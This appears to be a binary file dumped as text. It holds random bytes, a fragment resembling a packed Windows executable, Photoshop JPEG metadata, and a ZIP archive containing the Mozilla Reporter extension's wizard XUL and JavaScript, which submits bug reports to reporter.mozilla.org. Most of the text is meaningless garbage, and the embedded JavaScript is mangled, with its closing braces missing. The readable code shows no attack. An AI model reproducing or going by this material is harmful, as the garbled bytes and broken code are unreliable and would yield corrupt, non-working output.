rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
